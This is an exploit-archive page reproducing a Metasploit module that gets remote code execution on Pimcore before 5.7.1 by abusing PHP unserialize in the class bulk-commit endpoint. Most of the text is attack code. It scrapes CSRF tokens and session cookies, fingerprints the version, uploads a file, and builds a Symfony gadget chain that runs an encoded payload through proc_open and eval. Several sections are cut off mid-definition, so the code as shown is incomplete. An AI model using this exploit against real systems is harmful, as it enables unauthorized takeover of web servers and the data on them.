Exploits / Vulnerability Discovered : 2019-04-30 |
Type : remote |
Platform : php
This exploit / vulnerability Pimcore < 5.71 unserialize remote code execution (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => "Pimcore Unserialize RCE",
'Description' => %q(
This module exploits a PHP unserialize() in Pimcore before 5.7.1 to
execute arbitrary code. An authenticated user with "classes" permission
could exploit the vulnerability.
The vulnerability exists in the "ClassController.php" class, where the
"bulk-commit" method makes it possible to exploit the unserialize function
when passing untrusted values in "data" parameter.
Tested on Pimcore 5.4.0-5.4.4, 5.5.1-5.5.4, 5.6.0-5.6.6 with the Symfony
unserialize payload.
if res && res.code == 200
# Pimcore 5.x
unless res.body.scan(/"csrfToken": "[a-z0-9]+",/).empty?
@csrf_token = res.body.scan(/"csrfToken": "([a-z0-9]+)",/).flatten.first.to_s
@pimcore_cookies = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+;)/).flatten[0]
fail_with(Failure::NotFound, 'Failed to retrieve cookies') unless @pimcore_cookies
@pimcore_cookies << " pimcore_admin_sid=1;"
# Version
version = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[0]
build = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[1]
fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build
print_version(version, build)
return assign_target(version)
end
# Version
version = res.body.scan(/version: "([0-9]{1}\.[0-9]{1}\.[0-9]{1})",/i).flatten[0]
build = res.body.scan(/build: "([0-9]+)",/i).flatten[0]
fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version && build
print_version(version, build)
return assign_target(version)
end
# Version different from 4.x or 5.x
return nil
else
fail_with(Failure::NoAccess, 'Failed to grab csrfToken and PHPSESSID')
end
end
def print_version(version, build)
print_status("Pimcore version: #{version}")
print_status("Pimcore build: #{build}")
end
def assign_target(version)
if Gem::Version.new(version) >= Gem::Version.new('5.0.0') && Gem::Version.new(version) <= Gem::Version.new('5.6.6')
print_good("The target is vulnerable!")
return targets[0]
elsif Gem::Version.new(version) >= Gem::Version.new('4.0.0') && Gem::Version.new(version) <= Gem::Version.new('4.6.5')
print_good("The target is vulnerable!")
return targets[1]
else
print_error("The target is NOT vulnerable!")
return nil
end
end
def upload
# JSON file payload
fpayload = "{\"customlayout\":[{\"creationDate\": \"#{rand(1..9)}\", \"modificationDate\": \"#{rand(1..9)}\", \"userOwner\": \"#{rand(1..9)}\", \"userModification\": \"#{rand(1..9)}\"}]}"
# construct POST data
data = Rex::MIME::Message.new
data.add_part(fpayload, 'application/json', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(3..9)}.json\"")
if res.code == 200 && res.headers =~ /pimcore/i || res.body =~ /pimcore/i
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Unknown
end
def exploit
# Try to log in, grab csrfToken and select target
my_target = login
if my_target.nil?
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
# Try to upload JSON payload file
fname = upload
unless fname.nil?
# Register uploaded JSON payload file for cleanup
register_files_for_cleanup(fname)
end
case my_target['type']
when :symfony
# The payload to execute
spayload = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"
# The Symfony object payload
serialize = "O:43:\"Symfony\\Component\\Cache\\Adapter\\ApcuAdapter\":3:{"
serialize << "s:64:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00mergeByLifetime\";"
serialize << "s:9:\"proc_open\";"
serialize << "s:58:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00namespace\";a:0:{}"
serialize << "s:57:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00deferred\";"
serialize << "s:#{spayload.length}:\"#{spayload}\";}"
when :zend
# The payload to execute
spayload = "eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"